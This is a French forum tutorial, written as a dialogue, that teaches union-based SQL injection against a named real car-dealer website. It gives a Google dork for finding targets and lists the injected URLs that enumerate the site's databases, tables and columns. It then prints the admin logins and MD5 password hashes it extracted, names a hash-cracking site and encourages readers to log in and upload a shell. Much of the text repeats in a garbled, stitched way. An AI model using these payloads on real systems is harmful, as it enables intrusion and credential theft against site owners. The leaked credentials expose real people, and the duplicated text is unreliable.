Bonsoir,
aujourd'hui je vous ai préparer un petit tutoriel par la demande de xCon, car très occupé et moi même, il n'a pas pu faire ce tutoriel, donc j'ai trouvé un petit moment pour le faire ( enfin un gros x) ) sur l'injection SQL de type string.
SURTOUT : ce tutoriel est à titre EDUCATIF donc vous êtes les seul responsable de ce que vous faite.
Ah oui j'ai oublié de vous présenter Bernadette, qui sera elle aussi ici pour apprendre.
Ne t’inquiète pas Bernadette, je vais tout t’expliquer et aux autre ! Bien-sûr de A à Z !
Commençons nôtre petit leçon !
Pour répondre à la question de Bernadette, je vais utilisé notre amis Wikipédia :
Une injection SQL est un type d’exploitation d'une faille de sécurité d'une application interagissant avec une base de données, en injectant une requête SQL non prévue par le système et pouvant compromettre sa sécurité.
Belle question ! Oui , à condition de savoir comment faire , et c'est là le but de mon tutoriel chère amie Bernadette .
Pour commencé, vous devez savoir ce que sait un Dork
- Bernadette : Un Dork ? C'est moche ce mot, c'est quoi ?
Bernadette, laisse moi t’expliquer !
Un Dork, c'est une sorte de commande que tu utilise sur les navigateurs de recherche.
Mais bien-sûr, cette commande sert à cherche ce que l'on veut,
Par exemple :
inurl:"index.php?id="
Cette commande que tu met sur Google, cherche que des sites avec "index.php?id=" dans son URL. En gros un Dork sert à détaillé sa recherche, et filtré les sites qui ne corresponde pas. J'en reste là pour les Dork, car ce n'ai pas un tutoriel sur le Dorking .
Mais il faut savoir que il y a beaucoup de Dork.
Voilà vous l'aurez compris , on va utilisé un Dork pour trouver une faille SQL, sur le net.
Roh t'es pas patiente Bernadette ! Tu me laisse jamais finir , mais belle question .
Alors voilà, j'ai utilisé le Dork que je vous ai mis et j'ai trouvé un site.
http://www. citroen-auch.com/achat/index.php?id=64
Oui je sais ! Il suffit de mettre " ' " dans votre URL , ce qui donne :
http://www. citroen-auch.com/achat/index.php?id=64'
Si tout marche bien sur vôtre site vous aurez une erreur du genre :
Capture.jpg
Et oui, nombreux d'entre vous on dût déjà la voir , maintenant vous saurez qu'on peut l’exploiter !
- Bernadette : Mais comment ?
Ne vous inquiétez pas , comme je l'ai dit je vais vous expliquez de A à Z.
aujourd'hui je vous ai préparer un petit tutoriel par la demande de xCon, car très occupé et moi même, il n'a pas pu faire ce tutoriel, donc j'ai trouvé un petit moment pour le faire ( enfin un gros x) ) sur l'injection SQL de type string.
SURTOUT : ce tutoriel est à titre EDUCATIF donc vous êtes les seul responsable de ce que vous faite.
- Bernadette : Mais c'est quoi ça encore ? é_è
Ah oui j'ai oublié de vous présenter Bernadette, qui sera elle aussi ici pour apprendre.
Ne t’inquiète pas Bernadette, je vais tout t’expliquer et aux autre ! Bien-sûr de A à Z !
Commençons nôtre petit leçon !
Pour répondre à la question de Bernadette, je vais utilisé notre amis Wikipédia :
Une injection SQL est un type d’exploitation d'une faille de sécurité d'une application interagissant avec une base de données, en injectant une requête SQL non prévue par le système et pouvant compromettre sa sécurité.
- Bernadette : Mais sa veut dire que, si on arrive à trouvé une faille SQL sur un site, on peut récupérer les infos que l'on veut ?
Belle question ! Oui , à condition de savoir comment faire , et c'est là le but de mon tutoriel chère amie Bernadette .
Pour commencé, vous devez savoir ce que sait un Dork
- Bernadette : Un Dork ? C'est moche ce mot, c'est quoi ?
Bernadette, laisse moi t’expliquer !
Un Dork, c'est une sorte de commande que tu utilise sur les navigateurs de recherche.
Mais bien-sûr, cette commande sert à cherche ce que l'on veut,
Par exemple :
inurl:"index.php?id="
Cette commande que tu met sur Google, cherche que des sites avec "index.php?id=" dans son URL. En gros un Dork sert à détaillé sa recherche, et filtré les sites qui ne corresponde pas. J'en reste là pour les Dork, car ce n'ai pas un tutoriel sur le Dorking .
Mais il faut savoir que il y a beaucoup de Dork.
Voilà vous l'aurez compris , on va utilisé un Dork pour trouver une faille SQL, sur le net.
- Bernadette : Mais comment avec ce ... Dork , on va trouver une faille ? O_o'
Roh t'es pas patiente Bernadette ! Tu me laisse jamais finir , mais belle question .
Alors voilà, j'ai utilisé le Dork que je vous ai mis et j'ai trouvé un site.
http://www. citroen-auch.com/achat/index.php?id=64
-Bernadette : Mais je ne voie pas de faille ?
Oui je sais ! Il suffit de mettre " ' " dans votre URL , ce qui donne :
http://www. citroen-auch.com/achat/index.php?id=64'
Si tout marche bien sur vôtre site vous aurez une erreur du genre :
Capture.jpg
- Bernadette : Ahh ! Donc c'est ça une erreur SQL !
Et oui, nombreux d'entre vous on dût déjà la voir , maintenant vous saurez qu'on peut l’exploiter !
- Bernadette : Mais comment ?
Ne vous inquiétez pas , comme je l'ai dit je vais vous expliquez de A à Z.
- Bernadette : Maintenant que j'ai mon site avec une faille, je dois faire quoi ?
Maintenant tu dois utilisé, la fonction "order by",
je t'explique,
pour trouvé le nombre de columns on utilise la fonction "order by".
Pour l'utilisé on fait comme ceci,
on récupére le site faillé,
http:// www.citroen-auch.com/achat/index.php?id=64
et on injecte dans notre URL :
http:// www.citroen-auch.com/achat/index.php?id=64 order by 1--
Maintenant actualisé la page. Si rien ne ce passe c'est bon, si l’erreur revient , faite comme ça :
http:// www.citroen-auch.com/achat/index.php?id=64 order by 1/*
maintenant nous allons faire ça jusqu'à que il y a une erreur.
http:// www.citroen-auch.com/achat/index.php?id=64 order by 15-- <== Erreur
http:// www.citroen-auch.com/achat/index.php?id=64 order by 14-- <== ça marche !
Nous avons trouver la column !
je t'explique,
pour trouvé le nombre de columns on utilise la fonction "order by".
Pour l'utilisé on fait comme ceci,
on récupére le site faillé,
http:// www.citroen-auch.com/achat/index.php?id=64
et on injecte dans notre URL :
http:// www.citroen-auch.com/achat/index.php?id=64 order by 1--
Maintenant actualisé la page. Si rien ne ce passe c'est bon, si l’erreur revient , faite comme ça :
http:// www.citroen-auch.com/achat/index.php?id=64 order by 1/*
maintenant nous allons faire ça jusqu'à que il y a une erreur.
http:// www.citroen-auch.com/achat/index.php?id=64 order by 15-- <== Erreur
http:// www.citroen-auch.com/achat/index.php?id=64 order by 14-- <== ça marche !
Nous avons trouver la column !
- Bernadette : Et alors je n'y comprend rien, sa nous sert à quoi ?
Ce n'ai pas finis ^^.
Maintenant que l'on connais la column, il suffit d'utiliser "union all select".
Je t'explique, regarde :
On a trouver la column qui est de 14,
donc il suffit de faire :
http:// www.citroen-auch.com/achat/index.php?id=64 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
(n’oubliai pas le -- ou /* )
Si rien n'apparait il faut faire buggé le site , mettais " - " dans l'URL comme suit :
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
Capture2.PNG
Oui justement ! Sa veut dire que ça marche !
Par la suite, on va voir comment trouver la version de MYSQL avec cet commande " @@version" mais la Bernadette, tu dois savoir ou on va écrire ça ?
Ce n'ai pas finis ^^.
Maintenant que l'on connais la column, il suffit d'utiliser "union all select".
- Bernadette : Oulah ... Je n'y comprend plus rien !
Je t'explique, regarde :
On a trouver la column qui est de 14,
donc il suffit de faire :
http:// www.citroen-auch.com/achat/index.php?id=64 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
(n’oubliai pas le -- ou /* )
Si rien n'apparait il faut faire buggé le site , mettais " - " dans l'URL comme suit :
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
Capture2.PNG
- Bernadette : Euh .. ça ne fait rien , il y a juste des chiffre "3,10,11" qui apparait !
Oui justement ! Sa veut dire que ça marche !
Par la suite, on va voir comment trouver la version de MYSQL avec cet commande " @@version" mais la Bernadette, tu dois savoir ou on va écrire ça ?
- Bernadette : Bha oui ! ... Euh en faite non ..
Roh ^^ ,donc je t'explique , il faut remplacer comme ceci :
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,@@version,11,12,13,14--
Capture3.PNG
Mais il faut savoir que tout les site qui utilise la version MYSQL 4.x.x.x > ne sont pas exploitable, mais tous les sites qui utilise la version 5.x.x.x sont exploitable.
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,@@version,11,12,13,14--
Capture3.PNG
Mais il faut savoir que tout les site qui utilise la version MYSQL 4.x.x.x > ne sont pas exploitable, mais tous les sites qui utilise la version 5.x.x.x sont exploitable.
- Bernadette : Mais moi je m'en fou de la version je veux hack le site !
Patience chère amie ! Maintenant nous allons apprendre comment trouver le nom des DB ! Pour ça il faut utilisé " group_concat(schema_name) " et " from information_schema.schemata "
- Bernadette : Oulah ! Ça devient compliqué ...
Mais non ! Regarde :
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(schema_name),11,12,13,14 from information_schema.schemata--
Et oui il suffit de remplacer le "@@version" par ce que je vous ai donner ! Et d'ajouter " from information_schema.schemata " .
Capture4.PNG
Et là vous avez le nom des DB qui est : information_schema,citroena,test
- Bernadette : Ah ! Je comprend mieux ! Mais maintenant qu'on à le nom des DB il faut faire quoi ?
Et bien maintenant , nous connaissons ces DB , mais il faut trouver lequel il utilise ! Pour cela il faut remplacé " groupe_concat(schema_name) " par " concat(database()) "
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,concat(database()),11,12,13,14 from information_schema.schemata--
Capture5.PNG
Voilà ! On a trouver le nom de la DB qu'il utilise ! Dans mon cas : citroena
Maintenant que l'on connais le nom de la DB , on doit connaitre le nom des tables, pour cela il faut remplacer "concat(database())" par "group_concat(table_name)"
et ajouter "from information_schema.tables where table_schema=database()" à la fin de l'URL , ce qui nous donne :
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14 from information_schema.tables where table_schema=database()--
Bingo ! Nous avons trouver le nom de la table admin ! qui est : peel_admin
Maintenant il nous faut trouver les column, pour cela il faut utilisé ceci :
group_concat(column_name)
et
from information_schema.columns where table_schema=database()--
Vous avez compris le truc ^^ , ce qui donne :
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14 from information_schema.columns where table_schema=database()--
Au faite group_concat, si vous ne l'avez pas vue c'est pour tout listé sur une ligne .
Avec ce que je vous ai montrer vous ne voyé pas le nom des column ! Pas de problème essayé ceci
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,column_name,11,12,13,14 from information_schema.columns where table_schema=database()--
On a trouvé !
admin_email admin_pwd admin_login
Maintenant pour finir, il faut utilisé
group_concat(NOMcolumnpseudo,0x3a,NOMcolumnpassword)
et
from nomDB.nomTABLE--
Donc ce qui donne :
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(admin_login,0x3a,admin_pwd),11,12,13,14 from citroena.peel_admin--
Bingoo ! Nous avons les mots de passe admin ! qui est :
piecesautos:c303b2598941fd507df5048f74e192d1
adammed:45aaa73f03a30657e7d00549187aa399
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(schema_name),11,12,13,14 from information_schema.schemata--
Et oui il suffit de remplacer le "@@version" par ce que je vous ai donner ! Et d'ajouter " from information_schema.schemata " .
Capture4.PNG
Et là vous avez le nom des DB qui est : information_schema,citroena,test
- Bernadette : Ah ! Je comprend mieux ! Mais maintenant qu'on à le nom des DB il faut faire quoi ?
Et bien maintenant , nous connaissons ces DB , mais il faut trouver lequel il utilise ! Pour cela il faut remplacé " groupe_concat(schema_name) " par " concat(database()) "
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,concat(database()),11,12,13,14 from information_schema.schemata--
Capture5.PNG
Voilà ! On a trouver le nom de la DB qu'il utilise ! Dans mon cas : citroena
Maintenant que l'on connais le nom de la DB , on doit connaitre le nom des tables, pour cela il faut remplacer "concat(database())" par "group_concat(table_name)"
et ajouter "from information_schema.tables where table_schema=database()" à la fin de l'URL , ce qui nous donne :
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14 from information_schema.tables where table_schema=database()--
Bingo ! Nous avons trouver le nom de la table admin ! qui est : peel_admin
Maintenant il nous faut trouver les column, pour cela il faut utilisé ceci :
group_concat(column_name)
et
from information_schema.columns where table_schema=database()--
Vous avez compris le truc ^^ , ce qui donne :
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14 from information_schema.columns where table_schema=database()--
Au faite group_concat, si vous ne l'avez pas vue c'est pour tout listé sur une ligne .
Avec ce que je vous ai montrer vous ne voyé pas le nom des column ! Pas de problème essayé ceci
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,column_name,11,12,13,14 from information_schema.columns where table_schema=database()--
On a trouvé !
admin_email admin_pwd admin_login
Maintenant pour finir, il faut utilisé
group_concat(NOMcolumnpseudo,0x3a,NOMcolumnpassword)
et
from nomDB.nomTABLE--
Donc ce qui donne :
http:// www.citroen-auch.com/achat/index.php?id=-64 union all select 1,2,3,4,5,6,7,8,9,group_concat(admin_login,0x3a,admin_pwd),11,12,13,14 from citroena.peel_admin--
Bingoo ! Nous avons les mots de passe admin ! qui est :
piecesautos:c303b2598941fd507df5048f74e192d1
adammed:45aaa73f03a30657e7d00549187aa399
- Bernadette : Ouah ! Merci mille fois , mais le mot de passe est bizarre non ?
Oui ! il est crypté en MD5 , donc pour le décrypter je vous propose un site fait pour ça comme : http://www.md5decrypter.co.uk/
Et voilà ! Le tour est joué
- Bernadette : Merci Geuks , c'était pas si dur que ça !
Et voilà ! Le tour est joué
- Bernadette : Merci Geuks , c'était pas si dur que ça !
Mais derien ^^, maintenant il ne vous reste plus qu'a trouver la page admin et de vous connecter et pourquoi pas injecter votre shell !
Tutoriel crée par : Geuks.
No leech .
Idée et dédicace à xConsole.
PS : désolé pour la présentation mais j'attend que les balises fonctionne mieux ^^.
Tutoriel crée par : Geuks.
No leech .
Idée et dédicace à xConsole.
PS : désolé pour la présentation mais j'attend que les balises fonctionne mieux ^^.
Commentaire